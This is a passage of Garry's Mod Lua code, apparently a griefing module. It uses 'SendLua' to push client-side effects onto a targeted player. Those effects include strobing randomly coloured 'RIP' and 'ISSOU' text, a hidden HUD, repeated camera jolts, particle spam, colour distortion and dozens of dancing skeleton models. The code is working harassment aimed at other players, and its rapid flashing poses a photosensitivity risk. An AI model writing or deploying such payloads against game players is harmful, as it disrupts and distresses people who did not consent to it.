- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +460,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -460,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +490,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -490,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +520,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -520,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +550,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -550,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
- surface.PlaySound( "garrysmod/save_load4.wav" )
- surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
- ]] )
- end )
- --Disco time
- lol:PushAction( 10, function( pPlayer )
- local idx = pPlayer:EntIndex()
- timer.Create( "beat".. idx, 0.42, 0, function()
- if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
- pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
- end )
- lol:SendLua( pPlayer, [[
- local emitter = ParticleEmitter( LocalPlayer():GetPos() )
- local time = 0
- hook.Add( "Think", "wat", function()
- if CurTime() < time then
- return
- end
- time = CurTime() +0.05
- for i = 1, 16 do
- local part = emitter:Add(
- "particles/balloon_bit",
- LocalPlayer():GetPos() +Vector(
- math.random( -256, 256 ),
- math.random( -256, 256 ),
- 256
- )
- )
- if part then
- local Size = math.random( 4, 7 )
- part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
- part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
- part:SetDieTime( 4.5 )
- part:SetGravity( Vector(40, 0, -250) )
- part:SetLifeTime( 0 )
- part:SetStartSize( Size /2 )
- part:SetEndSize( Size )
- part:SetCollide( true )
- end
- end
- end )
- ]] )
- lol:SendLua( pPlayer, [[
- hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 1
- }
- end )
- local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
- mdl:SetNoDraw( true )
- local posCache, time = {}, 0
- hook.Add( "HUDPaint", "dance", function()
- if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
- local idx = mdl:LookupSequence("taunt_dance")
- mdl.SeqDuration = mdl:SequenceDuration( idx )
- mdl.SeqStart = CurTime()
- mdl:ResetSequence( idx )
- end
- mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
- local w, h = 300, 300
- local ang = Angle( 0, 0, 0 )
- for i = 1, 32 do
- if CurTime() > time then
- posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
- end
- local x, y = posCache[i][1], posCache[i][2]
- cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
- cam.IgnoreZ( true )
- render.SuppressEngineLighting( true )
- render.SetLightingOrigin( mdl:GetPos() )
- render.ResetModelLighting( 1, 1, 1 )
- render.SetColorModulation( 0, 0, 1 )
- mdl:DrawModel()
- render.SuppressEngineLighting( false )
- cam.IgnoreZ( false )
- cam.End3D()
- end
- if CurTime() > time then
- time = CurTime() +0.15
- end
- end )
- surface.PlaySound( "vo/npc/male01/ohno.wav" )
- ]] )
- end )
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